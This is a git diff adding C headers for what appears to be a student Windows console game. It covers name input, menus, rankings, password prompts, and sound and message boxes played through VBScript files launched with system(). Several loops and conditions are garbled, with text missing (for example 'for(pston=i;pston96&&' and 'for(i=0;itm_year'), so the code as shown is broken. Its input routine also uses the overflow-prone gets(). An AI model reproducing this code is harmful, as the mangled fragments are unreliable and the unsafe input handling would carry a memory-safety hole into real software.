if(nVal==27) + return 9; + } +} + +/* function to get a char type string as needed */ +char *input__as1_getchar_plus(char *p) +{ + + char *pTmp; + + /* apply for a large dynamic memory for the first time storage */ + if((pTmp=(char *)malloc(LARGEST_DYNAMIC_MEMORY))==NULL) + { + printf("Application memory failure...\n"); + exit(0); /* if fail, exit the input__as1_getchar_plus function with the return value of 0 */ + } + + /* get words from keyboard to pTemp */ + gets(pTmp); + + /* apply for a dynamic memory as needed */ + if((p=(char *)malloc(strlen(pTmp)+1))==NULL) + { + printf("Application memory failure...\n"); + exit(0); /* if fail, exit the input__as1_getchar_plus function with the return value of 0 */ + } + + /* copy str from pTmp to p */ + strcpy(p,pTmp); + + /* free the Tmp memory */ + free(pTmp); + + return p; +} + + +/* function for process space, (remove begining space(1), convert middle multi-space into one space(1) remove middle space(2), remove ending space(1), *string) */ +char *input__as1_process_space(int nStrt, int nMdd, int nEnd, char *str) +{ + int i,pston,iTmp; + + /* process the begining space */ + if(nStrt==1) + { + i=-1; + /* figure the first not space char position */ + while(isspace(str[++i])); + + /* move the not space char to the begining */ + for(pston=i;pston96&&(int)str[i]<123)||(str[i]>64&&str[i]<91)||((int)str[i]>47&&(int)str[i]<58))) + return 0; + break; + + /* if exist not num, exit with 0 */ + case 'n': + if(!((int)str[i]>47&&(int)str[i]<58)) + return 0; + break; + + /* if exist not float, exit with 0 */ + case 'f': + if(!(((int)str[i]>47&&(int)str[i]<58)||(int)str[i]==46/* include '.' */)) + return 0; + break; + + /* other error condition */ + default: + return 2; + } + + } + + return 1; +} + +char *input__replace_space_with__(char *str) +{ + /* check if the char follow the type one by one */ + int i; + for (i = 0; i < strlen(str); i++) + { + if((int)str[i]==32) str[i]=95; + } + + return str; +} + +/* function for input and check a name */ +char *input__as1_input_name() +{ + + char *pName=NULL; + + /* preload the state as 0, and clear a var rtrnVal to storage the return value of sub function */ + int state=0, rtrnVal=0; + + + printf("Please input your English User Name...\nUser Name="); + + /* while the state is 0(false), loop the input process */ + do + { + /* input a name */ + pName=input__as1_getchar_plus(pName); + + /* process the start, middle, end space of input */ + pName=input__as1_process_space(1,0,1,pName); + + /* judge if the name is pure English */ + rtrnVal=input__as1_jdge_var('c',pName); + + /* replace space with _ */ + pName=input__replace_space_with__(pName); + + /* flase situation | the input is not pure*/ + if(!rtrnVal) + printf("\nPlease input an ENGLISH Name!!!\n\nTry Again~\nPlease input your name...\nname="); + + /* success situation */ + else if(rtrnVal==1) + { + /* exclude the situation of empty input */ + if(!strlen(pName)) + printf("\nIllegal Empty Input!\n\nTry Again~\nPlease just try to type in something...\nname="); + + else if(strlen(pName)>0&&strlen(pName)<3) + printf("\nToo less Input!\n\nTry Again~\nPlease just try to type in more than two characters...\nname="); + + else if(strlen(pName)>10) + printf("\nYour name is too long!\n\nTry Again~\nPlease just try to type in less than TEN characters...\nname="); + /* success */ + else + state=1; + } + + /* the other inner function error situation */ + else if(rtrnVal==2) + printf("\nError with Function input__as1_jdge_var!\nPlease Connect Yimian LIU!!"); + + + }while(state==0); + + return pName; +} + diff --git a/print.h b/print.h new file mode 100644 index 0000000..3c48748 --- /dev/null +++ b/print.h @@ -0,0 +1,686 @@ + +/* function for adjust window color, size and position */ +void print__setup() +{ + system("TITLE EEE101 Assessment 3 BY Yimian LIU"); + system("mode con cols=88 lines=30"); + system("color 0F"); +} + +void print__space(int nSpace) +{ + int i; + for(i=0;itm_year+1900, curtm->tm_mon+1,curtm->tm_mday, curtm->tm_hour,curtm->tm_min, curtm->tm_sec); + + print__space(19); + + if(g_pUsr) + printf("User: %6s",g_pUsr ); + + if(g_nTimes!=-1) + printf(" win: %d Total times: %d ",g_nWins,g_nTimes); + else if(g_fWin!=-1||g_fWin!=0) + printf(" Win Rate: %.2f%%",g_fWin-0.01+0.001); + + printf("\n----------------------------------------------------------------------------------------"); +} + +void print_item(char chItem[20],int nMrk,int nSpc) +{ + + printf("\n\n"); + + print__space(nSpc); + + printf("%11s",chItem ); + + if(nMrk==1) + { + print__space(3); + printf("<<--"); + } +} + +void print__menu(int nPnt) +{ + + + /* clear screen */ + system("cls"); + + print__header(); + + printf("Please use Arrows on Keyboard to Choose:\n"); + char chItem1[]="New Game "; + print_item(chItem1,(nPnt==1)?1:0,38); + + char chItem2[]="Rank "; + print_item(chItem2,(nPnt==2)?1:0,38); + + char chItem3[]="My History"; + print_item(chItem3,(nPnt==3)?1:0,38); + + char chItem4[]="Setting "; + print_item(chItem4,(nPnt==4)?1:0,38); + + char chItem5[]="Switch User"; + print_item(chItem5,(nPnt==5)?1:0,38); + + char chItem6[]="Exit Game"; + print_item(chItem6,(nPnt==6)?1:0,38); + + printf("\n\n\n\n\n\n\n\n\n\n\n\n\n"); + printf("Press ESC to Exit!"); + + +} + +void print__user(int nPnt) +{ + + /* clear screen */ + system("cls"); + + printf("Please choose your User Name:\n"); + char **pUsr=data__get_usr(); + int i,nRows=data__get_usr_num(pUsr); + char chItem[]="Creat a new one!"; + + for(i=0;ij-i-win-draw) printf(" Winner: The Player\n"); + else if(win=max) + { + max=fRank[i][2]; + + maxItm=i; + + } + } + + fRank[maxItm][3]=j; + +if(max) +{ + + printf("\n"); + + print__space(4); + + printf("%2d", j+1); + + print__space(nSpc-3); + + printf("%10s",pUsr[maxItm] ); + + print__space(nSpc-1); + + if(fRank[maxItm][1]==0) printf(" 0.00%%"); + else + printf("%3.2f%%", fRank[maxItm][1]-0.0099); + fRank[maxItm][2]=0; + max=0; +} +} + + + printf("\n\n"); + printf("Press ESC to Exit!"); + +} + + +void print__settings(int nPnt) +{ + + + /* clear screen */ + system("cls"); + + print__header(); + + char chItem1[]=" Go Back to main menu"; + print_item(chItem1,(nPnt==1)?1:0,25); + + if(snd==1) + { + char chItem2[]=" Mute the sound"; + print_item(chItem2,(nPnt==2)?1:0,25); + } + else + { + char chItem3[]=" Open the sound"; + print_item(chItem3,(nPnt==2)?1:0,25); + } + char chItem4[]=" Reinstall the Game"; + print_item(chItem4,(nPnt==3)?1:0,25); + + char chItem5[]=" Uninstall the Game"; + print_item(chItem5,(nPnt==4)?1:0,25); + + char chItem6[]=" Change My Password"; + print_item(chItem6,(nPnt==5)?1:0,25); + + char chItem7[]=" Clean My History "; + print_item(chItem7,(nPnt==6)?1:0,25); + + printf("\n\n\n\n\n\n\n\n\n\n\n\n\n"); + printf("Press ESC to Exit!"); +} + + +void print__get_password(int type, int words) +{ + system("cls"); + + if(type) printf("Your password is WRONG! Please try again~\n\n"); + + printf("Please input your password: \n\nYour password = "); + + for(int i=0;i /* Include standard library of stdio.h for the use of function printf(), get() */ +#include /* Include standard liberary of stdlib.h for the use of function system(), */ + +/* function of playing background1 */ +void sound__background1() +{ + /* stop music player */ + system("tasklist | find \"wscript.exe\" > nul && taskkill /f /im wscript.exe > nul "); + /* play background via vbs */ + system("copy scrpt\\snd_start_bc1.as2 snd_start_bc1.vbs>nul"); + system("copy scrpt\\snd_bckgrnd1.as2 snd_bckgrnd1.vbs>nul"); + system("wscript snd_start_bc1.vbs"); + system("del snd_start_bc1.vbs>nul"); + + +} + +/* function of playing background2 */ +void sound__background2() +{ + /* stop music player */ + system("tasklist | find \"wscript.exe\" > nul && taskkill /f /im wscript.exe > nul "); + /* play background via vbs */ + system("copy scrpt\\snd_start_bc2.as2 snd_start_bc2.vbs>nul"); + system("copy scrpt\\snd_bckgrnd2.as2 snd_bckgrnd2.vbs>nul"); + system("wscript snd_start_bc2.vbs"); + system("del snd_start_bc2.vbs>nul"); + +} + +/* function of playing win */ +void sound__win() +{ + /* play background via vbs */ + system("copy scrpt\\snd_start_wn.as2 snd_start_wn.vbs>nul"); + system("copy scrpt\\snd_wn.as2 snd_wn.vbs>nul"); + system("wscript snd_start_wn.vbs"); + system("del snd_start_wn.vbs>nul"); + +} + +/* function of playing draw */ +void sound__draw() +{ + /* play background via vbs */ + system("copy scrpt\\snd_start_dr.as2 snd_start_dr.vbs>nul"); + system("copy scrpt\\snd_drw.as2 snd_drw.vbs>nul"); + system("wscript snd_start_dr.vbs"); + system("del snd_start_dr.vbs>nul"); + + +} + +/* function of playing lose */ +void sound__lose() +{ + /* play background via vbs */ + system("copy scrpt\\snd_start_ls.as2 snd_start_ls.vbs>nul"); + system("copy scrpt\\snd_ls.as2 snd_ls.vbs>nul"); + system("wscript snd_start_ls.vbs"); + system("del snd_start_ls.vbs>nul"); + +} + +/* function of playing allclear*/ +void sound__allclear() +{ + /* stop music player */ + system("tasklist | find \"wscript.exe\" > nul && taskkill /f /im wscript.exe > nul "); + /* play background via vbs */ + system("copy scrpt\\snd_start_al.as2 snd_start_al.vbs>nul"); + system("copy scrpt\\snd_allclr.as2 snd_allclr.vbs>nul"); + system("wscript snd_start_al.vbs"); + system("del snd_start_al.vbs>nul"); + +} + +/* function of playing gameover */ +void sound__gameover() +{ + /* stop music player */ + system("tasklist | find \"wscript.exe\" > nul && taskkill /f /im wscript.exe > nul "); + /* play background via vbs */ + system("copy scrpt\\snd_start_gm.as2 snd_start_gm.vbs>nul"); + system("copy scrpt\\snd_gmvr.as2 snd_gmvr.vbs>nul"); + system("wscript snd_start_gm.vbs"); + system("del snd_start_gm.vbs>nul"); + +} + +/* function of stop playing*/ +void sound__stop() +{ + /* stop music player */ + system("tasklist | find \"wscript.exe\" > nul && taskkill /f /im wscript.exe > nul "); + system("del snd_bckgrnd1.vbs>nul"); + system("del snd_bckgrnd2.vbs>nul"); + system("del snd_wn.vbs>nul"); + system("del snd_drw.vbs>nul"); + system("del snd_ls.vbs>nul"); + system("del snd_allclr.vbs>nul"); + system("del snd_gmvr.vbs>nul"); +} \ No newline at end of file diff --git a/winprint.h b/winprint.h new file mode 100644 index 0000000..676ac4a --- /dev/null +++ b/winprint.h @@ -0,0 +1,53 @@ + +/* function for showing a msgbox window */ +int winprint__msgbox(char msg[30], int type) +{ + /* declaer a FILE variable */ + FILE *fp=NULL; + + int nRtrnVal=0; + + /* make a new folder */ + system("IF NOT EXIST \"cache\" md cache >nul"); + + /* write msg to msg.dat */ + fp = fopen ("cache/msg.dat", "w+"); + fprintf( fp,"%s",msg); + + /* close file */ + fclose(fp); + + if(type==1) + { + system("copy scrpt\\prnt1.as2 prnt1.vbs>nul"); + /* include vb script */ + system("wscript prnt1.vbs"); + system("del prnt1.vbs>nul"); + + + nRtrnVal=1; + } + + if(type==2) + { + system("copy scrpt\\prnt2.as2 prnt2.vbs>nul"); + /* include vb script */ + system("wscript prnt2.vbs"); + system("del prnt2.vbs>nul"); + /* read result from res.dat */ + fp = fopen ("cache/res.dat", "r+"); + nRtrnVal=fgetc(fp)-48; + + /* close file */ + fclose(fp); + } + + /* clear cache file */ + system("del /Q /F cache\\res.dat >nul"); + system("del /Q /F cache\\msg.dat >nul"); + + + return nRtrnVal; + +} +